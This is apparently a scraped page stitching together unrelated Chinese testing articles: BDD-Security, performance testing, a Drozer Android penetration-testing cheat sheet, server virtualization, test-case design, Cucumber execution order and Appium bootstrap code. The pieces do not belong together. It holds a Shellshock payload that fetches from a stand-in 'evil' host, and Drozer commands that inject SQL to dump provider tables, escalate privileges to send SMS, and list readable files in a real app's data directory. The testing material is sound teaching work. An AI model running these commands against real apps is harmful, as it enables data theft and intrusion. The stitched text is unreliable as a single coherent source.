ContinuumSecurity創(chuàng)始人Stephen de Vries,在Velocity Europe 2014大會(huì)上提出了持續(xù)且可視化的
安全測(cè)試 的觀點(diǎn)。Stephen表示,那些在
敏捷 開(kāi)發(fā)過(guò)程中用于將QA嵌入整個(gè)開(kāi)發(fā)流程的方法和工具都能同樣的用于安全測(cè)試。BDD-Security是一個(gè)基于JBehave,且遵循Given-When-Then方法的安全測(cè)試框架。
傳統(tǒng)的安全測(cè)試都遵循瀑布流程,也就是說(shuō)安全團(tuán)隊(duì)總是在開(kāi)發(fā)階段的末期才參與進(jìn)來(lái),并且通常需要外部專家的幫助。在整個(gè)開(kāi)發(fā)流程中,滲透測(cè)試總是被安排到很晚才做,使得為應(yīng)用做安全防范的任務(wù)尤其困難且復(fù)雜。Stephen認(rèn)為安全測(cè)試完全可以變得像QA一樣:每個(gè)人都對(duì)安全問(wèn)題負(fù)責(zé);安全問(wèn)題可以在更接近代碼的層面考慮;安全測(cè)試完全可以嵌入一個(gè)持續(xù)集成的開(kāi)發(fā)過(guò)程中。
為了論證QA和安全測(cè)試只有量的區(qū)別而沒(méi)有質(zhì)的區(qū)別,Stephen展示了C. Maartmann-Moe和Bill Sempf分別發(fā)布的推特:
從QA的角度:
QA工程師走進(jìn)一家酒吧,點(diǎn)了一杯啤酒;點(diǎn)了0杯啤酒;點(diǎn)了999999999杯啤酒;點(diǎn)了一只蜥蜴;點(diǎn)了-1杯啤酒;點(diǎn)了一個(gè)sfdeljknesv。
從安全的角度:
滲透測(cè)試工程師走進(jìn)一家酒吧,點(diǎn)了一杯啤酒;點(diǎn)了”>杯啤酒;點(diǎn)了’or 1=1-杯啤酒;點(diǎn)了() { :; }; wget -O /beers http://evil; /杯啤酒。 要將安全測(cè)試集成進(jìn)敏捷開(kāi)發(fā)流程中,首先需要滿足的條件是:可見(jiàn)性,以便采取及時(shí)應(yīng)對(duì)措施并修補(bǔ);可測(cè)試性,以便于自動(dòng)化,比僅僅簡(jiǎn)單的掃描更有價(jià)值。Stephen發(fā)現(xiàn)BDD工具族就同時(shí)滿足了可見(jiàn)性及可測(cè)試性,因此他開(kāi)始著手構(gòu)建BDD-Security安全測(cè)試框架。
由于BDD-Security是基于JBehave構(gòu)建的,因此它使用BDD的標(biāo)準(zhǔn)說(shuō)明語(yǔ)言Gherkin。一個(gè)BDD-Security測(cè)試場(chǎng)景如下:
Scenario: Transmit authentication credentials over HTTPS
Meta: @id auth_https
Given the browser is configured to use an intercepting proxy
And the proxy logs are cleared
And the default user logs in with credentials from: users.table
And the HTTP request-response containing the default credentials is inspected
Then the protocol should be HTTPS
BDD-Security用戶故事的編寫(xiě)與通常做法不太一樣。BDD-Security說(shuō)明頁(yè)面上寫(xiě)著:
本框架的架構(gòu)設(shè)計(jì)使得安全用例故事與應(yīng)用的特定導(dǎo)航邏輯相互獨(dú)立,這意味著同一個(gè)用戶故事僅需要做微小的改動(dòng)就能用在多個(gè)應(yīng)用中,有時(shí)甚至無(wú)需修改。
這也說(shuō)明BDD-Security框架認(rèn)為對(duì)許多應(yīng)用來(lái)說(shuō),有一系列安全需求都是普遍要滿足的。也就是說(shuō)你只需寫(xiě)代碼把已有的故事插入你的應(yīng)用——也就是導(dǎo)航邏輯中即可。當(dāng)然,必要的時(shí)候你也完全可以編寫(xiě)自己的用戶故事。
BDD-Security依賴于第三方安全測(cè)試工具來(lái)執(zhí)行具體的安全相關(guān)的行為,例如應(yīng)用掃描。這些工具有OWASP ZAP或Nessus等。
Stephen還提到其它一些有類似功能的工具。如Zap-WebDriver就是一款更簡(jiǎn)單的工具,不喜歡BDD方式的人可以考慮采用它。Gauntlt與BDD-Security框架類似,同樣支持BDD,只是它使用的編程語(yǔ)言是
Ruby 。Mittn用
Python 編寫(xiě)并且同樣也使用Gherkin。
隨著瀏覽器功能的不斷完善,用戶量不斷的攀升,涉及到
web 服務(wù)的功能在不斷的增加,對(duì)于我們
測(cè)試 來(lái)說(shuō),我們不僅要保證服務(wù)端功能的正確性,也要驗(yàn)證服務(wù)端程序的性能是否符合要求。那么
性能測(cè)試 都要做些什么呢?我們?cè)撛鯓舆M(jìn)行性能測(cè)試呢?
性能測(cè)試一般會(huì)圍繞以下這些問(wèn)題而進(jìn)行:
1. 什么情況下需要做性能測(cè)試?
2. 什么時(shí)候做性能測(cè)試?
3. 做性能測(cè)試需要準(zhǔn)備哪些內(nèi)容?
4. 什么樣的性能指標(biāo)是符合要求的?
5. 性能測(cè)試需要收集的數(shù)據(jù)有哪些?
6. 怎樣收集這些數(shù)據(jù)?
7. 如何分析收集到的數(shù)據(jù)?
8. 如何給出性能測(cè)試報(bào)告?
性能測(cè)試的執(zhí)行過(guò)程及要做的事兒主要包含以下內(nèi)容:
1. 測(cè)試評(píng)估階段
在這個(gè)階段,我們要評(píng)估被測(cè)的產(chǎn)品是否要進(jìn)行性能測(cè)試,并且對(duì)目前的服務(wù)器環(huán)境進(jìn)行粗估,服務(wù)的性能是否滿足條件。
首先要明確只要涉及到準(zhǔn)備上線的服務(wù)端產(chǎn)品,就需要進(jìn)行性能測(cè)試。其次如果產(chǎn)品需求中明確提到了性能指標(biāo),那也必須要做性能測(cè)試。
測(cè)試人員在進(jìn)行性能測(cè)試前,需要根據(jù)當(dāng)前的收集到的各種信息,預(yù)先做性能的評(píng)估,收集的內(nèi)容主要包括帶寬、請(qǐng)求包大小、并發(fā)用戶數(shù)和當(dāng)前web服務(wù)的帶寬等
2. 測(cè)試準(zhǔn)備階段
在這個(gè)階段,我們要了解以下內(nèi)容:
a. 服務(wù)器的架構(gòu)是什么樣的,例如:web服務(wù)器是什么?是如何配置的?
數(shù)據(jù)庫(kù) 用的是什么?服務(wù)用的是什么語(yǔ)言編寫(xiě)的?;
b. 服務(wù)端功能的內(nèi)部邏輯實(shí)現(xiàn);
c. 服務(wù)端與數(shù)據(jù)庫(kù)是如何交互的,例如:數(shù)據(jù)庫(kù)的表結(jié)構(gòu)是什么樣的?服務(wù)端功能是怎樣操作數(shù)據(jù)庫(kù)的?
d. 服務(wù)端與客戶端之間是如何進(jìn)行交互的,即接口定義;
通過(guò)收集以上信息,測(cè)試人員整理出服務(wù)器端各模塊之間的交互圖,客戶端與服務(wù)端之間的交互圖以及服務(wù)端內(nèi)部功能邏輯實(shí)現(xiàn)的流程圖。
e. 該服務(wù)上線后的用戶量預(yù)估是多少,如果無(wú)法評(píng)估出用戶量,那么可以通過(guò)設(shè)計(jì)測(cè)試執(zhí)行的場(chǎng)景得出這個(gè)值;
f. 上線要部署到多少臺(tái)機(jī)器上,每臺(tái)機(jī)器的負(fù)載均衡是如何設(shè)計(jì)的,每臺(tái)機(jī)器的配置什么樣的,網(wǎng)絡(luò)環(huán)境是什么樣的。
g. 了解測(cè)試環(huán)境與線上環(huán)境的不同,例如網(wǎng)絡(luò)環(huán)境、硬件配置等
h. 制定測(cè)試執(zhí)行的策略,是需要驗(yàn)證需求中的指標(biāo)能否達(dá)到,還是評(píng)估系統(tǒng)的最大處理能力。
i. 溝通上線的指標(biāo)
通過(guò)收集以上信息,確定性能
測(cè)試用例 該如何設(shè)計(jì),如何設(shè)計(jì)性能測(cè)試用例執(zhí)行的場(chǎng)景,以及上線指標(biāo)的評(píng)估。
3. 測(cè)試設(shè)計(jì)階段
根據(jù)測(cè)試人員通過(guò)之前整理的交互圖和流程圖,設(shè)計(jì)相應(yīng)的性能測(cè)試用例。性能測(cè)試用例主要分為預(yù)期目標(biāo)用戶測(cè)試,用戶并發(fā)測(cè)試,疲勞強(qiáng)度與大數(shù)量測(cè)試,網(wǎng)絡(luò)性能測(cè)試,服務(wù)器性能測(cè)試,具體編寫(xiě)的測(cè)試用例要更具實(shí)際情況進(jìn)行裁減。
用例編寫(xiě)的步驟大致分為:
a. 通過(guò)腳本模擬單一用戶是如何使用這個(gè)web服務(wù)的。這里模擬的可以是用戶使用web服務(wù)的某一個(gè)動(dòng)作或某幾個(gè)動(dòng)作,某一個(gè)功能或幾個(gè)功能,也可以是使用web服務(wù)的整個(gè)過(guò)程。
b. 根據(jù)客戶端的實(shí)際情況和服務(wù)器端的策略,通過(guò)將腳本中可變的數(shù)據(jù)進(jìn)行參數(shù)化,來(lái)模擬多個(gè)用戶的操作。
c. 驗(yàn)證參數(shù)化后腳本功能的正確性。
d. 添加檢查點(diǎn)
e. 設(shè)計(jì)腳本執(zhí)行的策略,如每個(gè)功能的執(zhí)行次數(shù),各個(gè)功能的執(zhí)行順序等
4. 測(cè)試執(zhí)行階段
根據(jù)客戶端的產(chǎn)品行為設(shè)計(jì)web服務(wù)的測(cè)試執(zhí)行場(chǎng)景及測(cè)試執(zhí)行的過(guò)程,即測(cè)試執(zhí)行期間發(fā)生的事兒。通過(guò)監(jiān)控程序收集web服務(wù)的性能數(shù)據(jù)和web服務(wù)所在系統(tǒng)的性能數(shù)據(jù)。
在測(cè)試執(zhí)行過(guò)程中,還要不斷的關(guān)注以下內(nèi)容:
a. web服務(wù)的連接速度如何?
b. 每秒的點(diǎn)擊數(shù)如何?
c. Web服務(wù)能允許多少個(gè)用戶同時(shí)在線?
d. 如果超過(guò)了這個(gè)數(shù)量,會(huì)出現(xiàn)什么現(xiàn)象?
e. Web服務(wù)能否處理大量用戶對(duì)同一個(gè)頁(yè)面的請(qǐng)求?
f. 如果web服務(wù)崩潰,是否會(huì)自動(dòng)恢復(fù)?
g. 系統(tǒng)能否同一時(shí)間響應(yīng)大量用戶的請(qǐng)求?
h. 打壓機(jī)的系統(tǒng)負(fù)載狀態(tài)。
5. 測(cè)試分析階段
將收集到的數(shù)據(jù)制成圖表,查看各指標(biāo)的性能變化曲線,結(jié)合之前確定的上線指標(biāo),對(duì)各項(xiàng)數(shù)據(jù)進(jìn)行分析,已確定是否繼續(xù)對(duì)web服務(wù)進(jìn)行測(cè)試,結(jié)果是否達(dá)到了期望值。
6. 測(cè)試驗(yàn)證階段
在開(kāi)發(fā)針對(duì)發(fā)現(xiàn)的性能問(wèn)題進(jìn)行修復(fù)后,要再執(zhí)行性能測(cè)試的用例對(duì)問(wèn)題進(jìn)行驗(yàn)證。這里需要關(guān)注的是開(kāi)發(fā)在解決問(wèn)題的同時(shí)可能無(wú)意中修改了某些功能,所以在驗(yàn)證性能的同時(shí),也要關(guān)注原有功能是否受到了影響
一、安裝與啟動(dòng)
1. 安裝
第一步:從http://mwr.to/drozer下載Drozer (
Windows Installer)
adb install agent.apk
2. 啟動(dòng)
第一步:在PC上使用adb進(jìn)行端口轉(zhuǎn)發(fā),轉(zhuǎn)發(fā)到Drozer使用的端口31415
adb forward tcp:31415 tcp:31415
第二步:在Android設(shè)備上開(kāi)啟Drozer Agent
選擇embedded server-enable
第三步:在PC上開(kāi)啟Drozer console
drozer console connect
1.獲取包名
dz> run app.package.list -f sieve
com.mwr.example.sieve
2.獲取應(yīng)用的基本信息
run app.package.info -a com.mwr.example.sieve
3.確定攻擊面
run app.package.attacksurface com.mwr.example.sieve
4.Activity
(1)獲取activity信息
run app.activity.info -a com.mwr.example.sieve
(2)啟動(dòng)activity
run app.activity.start --component com.mwr.example.sieve
dz> help app.activity.start
usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]
[--component PACKAGE COMPONENT] [--data-uri DATA_URI]
[--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
[--mimetype MIMETYPE]
5.Content Provider
(1)獲取Content Provider信息
run app.provider.info -a com.mwr.example.sieve
(2)Content Providers(數(shù)據(jù)泄露)
先獲取所有可以訪問(wèn)的Uri:
run scanner.provider.finduris -a com.mwr.example.sieve
獲取各個(gè)Uri的數(shù)據(jù):
run app.provider.query
content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
查詢到數(shù)據(jù)說(shuō)明存在漏洞
(3)Content Providers(
SQL 注入)
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
報(bào)錯(cuò)則說(shuō)明存在SQL注入。
列出所有表:
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
獲取某個(gè)表(如Key)中的數(shù)據(jù):
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
(4)同時(shí)檢測(cè)SQL注入和目錄遍歷
run scanner.provider.injection -a com.mwr.example.sieve
run scanner.provider.traversal -a com.mwr.example.sieve
6 intent組件觸發(fā)(拒絕服務(wù)、權(quán)限提升)
利用intent對(duì)組件的觸發(fā)一般有兩類漏洞,一類是拒絕服務(wù),一類的權(quán)限提升。拒絕服務(wù)危害性比較低,更多的只是影響應(yīng)用服務(wù)質(zhì)量;而權(quán)限提升將使得沒(méi)有該權(quán)限的應(yīng)用可以通過(guò)intent觸發(fā)擁有該權(quán)限的應(yīng)用,從而幫助其完成越權(quán)行為。
1.查看暴露的廣播組件信息:
run app.broadcast.info -a com.package.name 獲取broadcast receivers信息
run app.broadcast.send --component 包名 --action android.intent.action.XXX
2.嘗試拒絕服務(wù)攻擊檢測(cè),向廣播組件發(fā)送不完整intent(空action或空extras):
run app.broadcast.send 通過(guò)intent發(fā)送broadcast receiver
(1) 空action
run app.broadcast.send --component 包名 ReceiverName
run app.broadcast.send --component 包名 ReceiverName
(2) 空extras
run app.broadcast.send --action android.intent.action.XXX
3.嘗試權(quán)限提升
權(quán)限提升其實(shí)和拒絕服務(wù)很類似,只不過(guò)目的變成構(gòu)造更為完整、更能滿足程序邏輯的intent。由于activity一般多于用戶交互有關(guān),所以基 于intent的權(quán)限提升更多針對(duì)broadcast receiver和service。與drozer相關(guān)的權(quán)限提升工具,可以參考IntentFuzzer,其結(jié)合了drozer以及hook技術(shù),采用 feedback策略進(jìn)行fuzzing。以下僅僅列舉drozer發(fā)送intent的命令:
(1)獲取service詳情
run app.service.info -a com.mwr.example.sieve
不使用drozer啟動(dòng)service
am startservice –n 包名/service名
(2)權(quán)限提升
run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
7.文件操作
列出指定文件路徑里全局可寫(xiě)/可讀的文件
run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo
run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo
run app.broadcast.send --component 包名 --action android.intent.action.XXX
8.其它模塊
shell.start 在設(shè)備上開(kāi)啟一個(gè)交互shell
tools.file.upload / tools.file.download 上傳/下載文件到設(shè)備
tools.setup.busybox / tools.setup.minimalsu 安裝可用的二進(jìn)制文件
關(guān)于服務(wù)器虛擬化的概念,業(yè)界有不同的定義,但其核心是一致的,即它是一種方法,能夠在整合多個(gè)應(yīng)用服務(wù)的同時(shí),通過(guò)區(qū)分應(yīng)用服務(wù)的優(yōu)先次序?qū)⒎?wù)器資源分配給最需要它們的
工作 負(fù)載來(lái)簡(jiǎn)化管理和提高效率。
其主要功能包括以下四個(gè)方面: 集成整合功能。虛擬化服務(wù)器主要是由物理服務(wù)器和虛擬化程序構(gòu)成的,通過(guò)把一臺(tái)物理服務(wù)器劃分為多個(gè)虛擬機(jī),或者把若干個(gè)分散的物理服務(wù)器虛擬為一個(gè)整體邏輯服務(wù)器,從而將多個(gè)
操作系統(tǒng) 和應(yīng)用服務(wù)整合到強(qiáng)大的虛擬化架構(gòu)上。
動(dòng)態(tài)遷移功能。這里所說(shuō)的動(dòng)態(tài)遷移主要是指V2V(虛擬機(jī)到虛擬機(jī)的遷移)技術(shù)。具體來(lái)講,當(dāng)某一個(gè)服務(wù)器因故障停機(jī)時(shí),其承載的虛擬機(jī)可以自動(dòng)切換到另一臺(tái)虛擬服務(wù)器,而在整個(gè)過(guò)程中應(yīng)用服務(wù)不會(huì)中斷,實(shí)現(xiàn)系統(tǒng)零宕機(jī)在線遷移。
資源分配功能。虛擬化架構(gòu)技術(shù)中引入了動(dòng)態(tài)資源調(diào)度技術(shù),系統(tǒng)將所有虛擬服務(wù)器作為一個(gè)整體資源統(tǒng)一進(jìn)行管理,并按實(shí)際需求自動(dòng)進(jìn)行動(dòng)態(tài)資源調(diào)配,在保證系統(tǒng)穩(wěn)定運(yùn)行的前提下,實(shí)現(xiàn)資源利用最大化。
強(qiáng)大的管理控制界面。通過(guò)可視化界面實(shí)時(shí)監(jiān)控物理服務(wù)器以及各虛擬機(jī)的運(yùn)行情況,實(shí)現(xiàn)對(duì)全部虛擬資源的管理、維護(hù)及部署等操作。
服務(wù)器虛擬化的益處
采用服務(wù)器虛擬化技術(shù)的益處主要表現(xiàn)在以下幾個(gè)方面。
節(jié)省采購(gòu)費(fèi)用。通過(guò)虛擬化技術(shù)對(duì)應(yīng)用服務(wù)器進(jìn)行整合,可以大幅縮減企業(yè)在采購(gòu)環(huán)節(jié)的開(kāi)支,在硬件環(huán)節(jié)可以為企業(yè)節(jié)省34%~80%的采購(gòu)成本。
同時(shí),還可以節(jié)省軟件采購(gòu)費(fèi)用。軟件許可成本是企業(yè)不可忽視的重要支出。而隨著
微軟 、紅帽等軟件巨頭的加入,虛擬化架構(gòu)技術(shù)在軟件成本上的優(yōu)勢(shì)也逐漸得以體現(xiàn)。
降低系統(tǒng)運(yùn)行維護(hù)成本。由于虛擬化在整合服務(wù)器的同時(shí)采用了更為出色的管理工具,減少了管理維護(hù)人員在網(wǎng)絡(luò)、線路、軟硬件維護(hù)方面的工作量,信息部門(mén)得以從傳統(tǒng)的維護(hù)管理工作中解放出來(lái),將更多的時(shí)間和精力用于推動(dòng)創(chuàng)新工作和業(yè)務(wù)增長(zhǎng)等活動(dòng),這也為企業(yè)帶來(lái)了利益。
通過(guò)虛擬化技術(shù)可以減少物理服務(wù)器的數(shù)量,這就意味著企業(yè)機(jī)房耗電量、散熱量的降低,同時(shí)還為企業(yè)節(jié)省了空調(diào)、機(jī)房配套設(shè)備的改造升級(jí)費(fèi)用。
提高資源利用率。保障業(yè)務(wù)系統(tǒng)的快速部署是信息化工作的一項(xiàng)重要指標(biāo),而傳統(tǒng)模式中服務(wù)器的采購(gòu)安裝周期較長(zhǎng),一定程度上限制了系統(tǒng)部署效率。利用虛擬化技術(shù),可以快速搭建虛擬系統(tǒng)平臺(tái),大幅縮減部署籌備時(shí)間,提高工作效率。
由于虛擬化服務(wù)器具有動(dòng)態(tài)資源分配功能,因此當(dāng)一臺(tái)虛擬機(jī)的應(yīng)用負(fù)載趨于飽和時(shí),系統(tǒng)會(huì)根據(jù)之前定義的分配規(guī)則自動(dòng)進(jìn)行資源調(diào)配。根據(jù)大部分虛擬化技術(shù)廠商提供的數(shù)據(jù)指標(biāo)來(lái)看,通過(guò)虛擬化整合服務(wù)器后,資源平均利用率可以從5%~15%提高到60%~80%。
提高系統(tǒng)的安全性。傳統(tǒng)服務(wù)器硬件維護(hù)通常需要數(shù)天的籌備期和數(shù)小時(shí)的維護(hù)窗口期。而在虛擬化架構(gòu)技術(shù)環(huán)境下,服務(wù)器遷移只需要幾秒鐘的時(shí)間。由于遷移過(guò)程中服務(wù)沒(méi)有中斷,管理員無(wú)須申請(qǐng)系統(tǒng)停機(jī),在降低管理維護(hù)工作量的同時(shí),提高系統(tǒng)運(yùn)行連續(xù)性。
目前虛擬化主流技術(shù)廠商均在其虛擬化平臺(tái)中引入數(shù)據(jù)快照以及虛擬存儲(chǔ)等安全機(jī)制,因此在數(shù)據(jù)安全等級(jí)和系統(tǒng)容災(zāi)能力方面,較原有單機(jī)運(yùn)行模式有了較大提高。 目前 我司正在應(yīng)用aws 確實(shí)很不錯(cuò),節(jié)省成本 服務(wù)穩(wěn)定,比什么阿里云 強(qiáng)了不知道多少倍
1.測(cè)試用例 :分有基本流和備選流。
2.要先確定測(cè)試 用例 描述,再在測(cè)試用例 實(shí)施矩陣中確定相應(yīng)的測(cè)試用例數(shù)據(jù)。 3.從補(bǔ)充規(guī)約中生成測(cè)試用例
(2)為安全性/訪問(wèn)控制測(cè)試生成測(cè)試用例
關(guān)鍵:先指定執(zhí)行用例的主角
(3)為配置測(cè)試生成測(cè)試用例
主要是為了核實(shí)測(cè)試目標(biāo)在不同的配置情況下(如不同的OS,Browser,CPU速度等)是否能正常 地
工作 或執(zhí)行。
針對(duì)第個(gè)關(guān)鍵配置,每個(gè)可能有問(wèn)題的配置都至少應(yīng)該有一個(gè)測(cè)試用例。
(4)為安裝測(cè)試生成測(cè)試用例
a.需要對(duì)以下各種安裝情況設(shè)計(jì)測(cè)試用例:
分發(fā)介質(zhì)(如磁盤(pán),CD-ROM和文件服務(wù)器)
首次安裝
完全安裝
自定義安裝
升級(jí)安裝
b.測(cè)試目標(biāo)應(yīng)包括所有構(gòu)件的安裝
客戶機(jī),中間層,服務(wù)器
(5)為其他非功能性測(cè)試生成測(cè)試用例
如操作測(cè)試,對(duì)性能瓶頸,系統(tǒng)容量或測(cè)試目標(biāo)的強(qiáng)度承受能力進(jìn)行調(diào)查的測(cè)試用例
5.為產(chǎn)品驗(yàn)收測(cè)試生成測(cè)試用例
6.為回歸測(cè)試編制測(cè)試用例
a.回歸測(cè)試是比較同一測(cè)試目標(biāo)的兩個(gè)版本或版本,并將將差異確定為潛在的缺陷。
b.為使測(cè)試用例發(fā)揮回歸測(cè)試和復(fù)用的價(jià)值,同時(shí)將維護(hù)成本減至最低,應(yīng):
確保測(cè)試用例只確定關(guān)鍵的數(shù)據(jù)元素(創(chuàng)建/支持被測(cè)試的條件支持的測(cè)上試用例)
確保每個(gè)測(cè)試用例都說(shuō)明或代表一個(gè)唯一的輸入集或事件序列,其結(jié)果是獨(dú)特的測(cè)試目標(biāo)行為
消除多余或等效的測(cè)試用例
將具有相同的測(cè)試目標(biāo)初始狀態(tài)和測(cè)試數(shù)據(jù)狀態(tài)的測(cè)試用例組合在一起
Cucumber是Ruby世界的BDD框架,開(kāi)發(fā)人員主要與兩類文件打交到,F(xiàn)eature文件和相應(yīng)的Step文件。Feature文件是以feature為后綴名的文件,以Given-When-Then的方式描述了系統(tǒng)的場(chǎng)景(scenarios)行為;Step文件為普通的Ruby文件,F(xiàn)eature文件中的每個(gè)Given/When/Then步驟在Step文件中都有對(duì)應(yīng)的Ruby執(zhí)行代碼,兩類文件通過(guò)正則表達(dá)式相關(guān)聯(lián)。筆者在用Cucumber+Watir做回歸測(cè)試時(shí)對(duì)Cucumber工程的目錄結(jié)構(gòu)執(zhí)行過(guò)程進(jìn)行了研究。
安裝好Cucumber后,如果在終端直接執(zhí)行cucumber命令,得到以下輸出:
輸出結(jié)果表明:cucumber期待當(dāng)前目錄下存在名為features的子目錄。建好features文件夾后,重新執(zhí)行cucumber命令,輸出如下:
Cucumber運(yùn)行成功,但由于features文件夾下沒(méi)有任何內(nèi)容,故得到上述輸出結(jié)果。
網(wǎng)上大多數(shù)關(guān)于Cucumber的教程都建議采用以下目錄結(jié)構(gòu),所有的文件(夾)都位于features文件夾下。
Feature文件(如test.feature)直接位于features文件夾下,可以為每個(gè)應(yīng)用場(chǎng)景創(chuàng)建一個(gè)Feature文件;與Feature文件對(duì)應(yīng)的Step文件(如test.rb)位于step_definitions子文件夾下;同時(shí),存在support子文件夾,其下的env.rb文件為環(huán)境配置文件。在這樣的目錄結(jié)構(gòu)條件下執(zhí)行cucumber命令,會(huì)首先執(zhí)行env.rb做前期準(zhǔn)備工作,比如可以用Watir新建瀏覽器窗口,然后Cucumber將test.rb文件讀入內(nèi)存,最后執(zhí)行test.feature文件,當(dāng)遇到Given/When/Then步驟時(shí),Cucumber將在test.rb中搜索是否有相應(yīng)的step,如果有,則執(zhí)行相應(yīng)的Ruby代碼。
這樣的目錄結(jié)構(gòu)只是推薦的目錄結(jié)構(gòu),筆者通過(guò)反復(fù)的試驗(yàn)得出了以下結(jié)論:對(duì)于Cucumber而言,除了頂層的features文件夾是強(qiáng)制性的之外,其它目錄結(jié)構(gòu)都不是強(qiáng)制性的,Cucumber將對(duì)features文件夾下的所有內(nèi)容進(jìn)行扁平化(flatten)處理和首字母排序。具體來(lái)說(shuō),Cucumber在運(yùn)行時(shí),首先將遞歸的執(zhí)行features文件夾下的所有Ruby文件(其中則包括Step文件),然后通過(guò)相同的方式執(zhí)行Feature文件。但是,如果features文件夾下存在support子文件夾,并且support下有名為env.rb的文件,Cucumber將首先執(zhí)行該文件,然后執(zhí)行support下的其它文件,再遞歸執(zhí)行featues下的其它文件。
比如有如下Cucumber目錄結(jié)構(gòu):
為了方便記錄Cucumber運(yùn)行時(shí)的文件執(zhí)行順序,在features文件夾下的所有Ruby文件中加上以下代碼:
puts File.basename(__FILE__)
此行代碼的作用是在一個(gè)Ruby文件執(zhí)行時(shí)輸出該文件的名字,此時(shí)執(zhí)行cucumber命令,得到以下輸出(部分)結(jié)果:
上圖即為Ruby文件的執(zhí)行順序,可以看出,support文件夾下env.rb文件首先被執(zhí)行,其次按照字母排序執(zhí)行c.rb和d.rb;接下來(lái),Cucumber將features文件夾下的所用文件(夾)扁平化,并按字母順序排序,從而先執(zhí)行a.rb和b.rb,而由于other文件夾排在step_definitions文件夾的前面,所以先執(zhí)行other文件夾下的Ruby文件(也是按字母順序執(zhí)行:先f(wàn).rb,然后g.rb),最后執(zhí)行step_definitions下的e.rb。
當(dāng)執(zhí)行完所有Ruby文件后,Cucumber開(kāi)始依次讀取Feature文件,執(zhí)行順序也和前述一樣,即: a.feature --> b.feature --> c.feature
筆者還發(fā)現(xiàn),這些Ruby文件甚至可以位于features文件夾之外的任何地方,只是需要在位于features文件夾之內(nèi)的Ruby文件中require一下,比如在env.rb中。
English »
Afrikaans Albanian Arabic Armenian Azerbaijani Basque Bengali Belarusian Bulgarian Catalan Chinese (Simp) Chinese (Trad) Croatian Czech Danish Dutch English Esperanto Estonian Filipino Finnish French Galician Georgian German Greek Gujarati Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Kannada Korean Lao Latin Latvian Lithuanian Macedonian Malay Maltese Norwegian Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Tamil Telugu Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish
Text-to-speech function is limited to 100 characters
AndroidElementHash的這個(gè)getElement命令要做的事情就是針對(duì)這兩點(diǎn)來(lái)根據(jù)不同情況獲得目標(biāo)控件
/**
* Return an elements child given the key (context id), or uses the selector
* to get the element.
*
* @param sel
* @param key
* Element id.
* @return {@link AndroidElement}
* @throws ElementNotFoundException
*/
public AndroidElement getElement(final UiSelector sel, final String key)
throws ElementNotFoundException {
AndroidElement baseEl;
baseEl = elements.get(key);
UiObject el;
if (baseEl == null) {
el = new UiObject(sel);
} else {
try {
el = baseEl.getChild(sel);
} catch (final UiObjectNotFoundException e) {
throw new ElementNotFoundException();
}
}
if (el.exists()) {
return addElement(el);
} else {
throw new ElementNotFoundException();
}
}
如果是第1種情況就直接通過(guò)選擇子構(gòu)建UiObject對(duì)象,然后通過(guò)addElement把UiObject對(duì)象轉(zhuǎn)換成AndroidElement對(duì)象保存到控件哈希表
如果是第2種情況就先根據(jù)appium傳過(guò)來(lái)的控件哈希表鍵值獲得父控件,再通過(guò)子控件的選擇子在父控件的基礎(chǔ)上查找到目標(biāo)UiObject控件,最后跟上面一樣把該控件通過(guò)上面的addElement把UiObject控件轉(zhuǎn)換成AndroidElement控件對(duì)象保存到控件哈希表
4. 求證
上面有提過(guò),如果pc端的腳本執(zhí)行對(duì)同一個(gè)控件的兩次findElement會(huì)創(chuàng)建兩個(gè)不同id的AndroidElement并存放到控件哈希表中,那么為什么appium的團(tuán)隊(duì)沒(méi)有做一個(gè)增強(qiáng),增加一個(gè)keyMap的方法(算法)和一些額外的信息來(lái)讓同一個(gè)控件使用不同的key的時(shí)候?qū)?yīng)的還是同一個(gè)AndroidElement控件呢?畢竟這才是哈希表實(shí)用的特性之一了,不然你直接用一個(gè)Dictionary不就完事了?網(wǎng)上說(shuō)了幾點(diǎn)hashtable和dictionary的差別,如多線程環(huán)境最好使用哈希表而非字典等,但在bootstrap這個(gè)控件哈希表的情況下我不是很信服這些說(shuō)法,有誰(shuí)清楚的還勞煩指點(diǎn)一二了
這里至于為什么appium不去提供額外的key信息并且實(shí)現(xiàn)keyMap算法,我個(gè)人倒是認(rèn)為有如下原因:
有誰(shuí)這么無(wú)聊在同一個(gè)測(cè)試方法中對(duì)同一個(gè)控件查找兩次?
如果同一個(gè)控件運(yùn)用不同的選擇子查找兩次的話,因?yàn)樽罱K底層的UiObject的成員變量UiSelector mSelector不一樣,所以確實(shí)可以認(rèn)為是不同的控件
但以下兩個(gè)如果用同樣的UiSelector選擇子來(lái)查找控件的情況我就解析不了了,畢竟在我看來(lái)bootstrap這邊應(yīng)該把它們看成是同一個(gè)對(duì)象的:
同一個(gè)腳本不同的方法中分別對(duì)同一控件用同樣的UiSelelctor選擇子進(jìn)行查找呢?
不同腳本中呢?
這些也許在今后深入了解中得到解決,但看家如果知道的,還望不吝賜教
5. 小結(jié)
最后我們對(duì)bootstrap的控件相關(guān)知識(shí)點(diǎn)做一個(gè)總結(jié)
AndroidElement的一個(gè)實(shí)例代表了一個(gè)bootstrap的控件
AndroidElement控件的成員變量UiObject el代表了uiautomator框架中的一個(gè)真實(shí)窗口控件,通過(guò)它就可以直接透過(guò)uiautomator框架對(duì)控件進(jìn)行實(shí)質(zhì)性操作
pc端的WebElement元素和Bootstrap的AndroidElement控件是通過(guò)AndroidElement控件的String id進(jìn)行映射關(guān)聯(lián)的
